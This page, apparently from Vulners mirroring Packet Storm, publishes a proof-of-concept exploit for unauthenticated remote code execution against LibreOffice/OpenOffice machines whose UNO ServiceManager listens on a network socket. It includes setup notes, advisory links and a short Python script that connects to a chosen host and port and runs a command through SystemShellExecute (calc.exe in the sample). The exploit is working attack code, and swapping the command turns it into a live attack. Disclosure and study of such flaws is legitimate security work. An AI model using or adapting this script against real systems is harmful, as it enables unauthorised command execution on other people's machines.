Lucene search
K

Apache UNO API Remote Code Execution

🗓️ 14 Mar 2019 00:00:00Reported by sud0woodoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Apache UNO API Remote Code Execution on LibreOffice/OpenOffic

Code
`"""  
# Exploit Title: Apache UNO API RCE  
# Date: 2018-09-18  
# Exploit Author: sud0woodo  
# Vendor Homepage: https://www.apache.org/  
# Software Link: https://www.openoffice.org/api/  
# Version:  
  
LibreOffice Version: 6.1.2 / OpenOffice 4.1.6  
  
(but really any version with the UNO API included)  
# Tested on:  
  
Ubuntu Mate 18.04 with kernel 4.15.0-34-generic (but works platform independent)  
  
Proof of Concept code attached as .txt file.  
  
HackDefense advisory:  
https://hackdefense.com/blog/security-advisory-rce-in-apache-uno-api/  
  
HackDefense blogpost:  
https://hackdefense.com/blog/finding-RCE-capabilities-in-the-apache-uno-api/  
  
Unauthenticated RCE LibreOffice/OpenOffice with UNO API  
  
This code represents a small proof of concept of an unauthenticted remote code execution using  
the Apache OpenOffice UNO API (https://www.openoffice.org/udk/). This code has been tested  
against LibreOffice Version: 6.1.1.2 on a Ubuntu Mate 18.04 with kernel 4.15.0-34-generic.  
  
For this PoC to work the target machine needs to run the ServiceManager using an external   
interface. The following command was used to test this PoC:  
  
[Ubuntu]  
Open a terminal and execute the following command:  
soffice --accept='socket,host=0.0.0.0,port=2002;urp;StarOffice.Service'  
  
The above command will start the LibreOffice ServiceManager but this can be executed with the --invisible  
flag to prevent the dialogbox from popping up on the target.  
  
I also made a scanner available that can be used to check for the presence of the StarOffice manager running on a machine:   
  
https://sud0woodo.sh/2019/03/06/building-a-go-scanner-to-search-externally-reachable-staroffice-managers/  
"""  
  
import uno  
from com.sun.star.system import XSystemShellExecute  
import argparse  
  
parser = argparse.ArgumentParser()  
parser.add_argument('--host', help='host to connect to', dest='host', required=True)  
parser.add_argument('--port', help='port to connect to', dest='port', required=True)  
  
args = parser.parse_args()  
# Define the UNO component  
localContext = uno.getComponentContext()  
  
# Define the resolver to use, this is used to connect with the API  
resolver = localContext.ServiceManager.createInstanceWithContext(  
"com.sun.star.bridge.UnoUrlResolver", localContext )  
  
# Connect with the provided host on the provided target port  
print("[+] Connecting to target...")  
context = resolver.resolve(  
"uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))  
  
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe  
service_manager = context.ServiceManager  
print("[+] Connected to {0}".format(args.host))  
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")  
shell_execute.execute("calc.exe", '',1)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation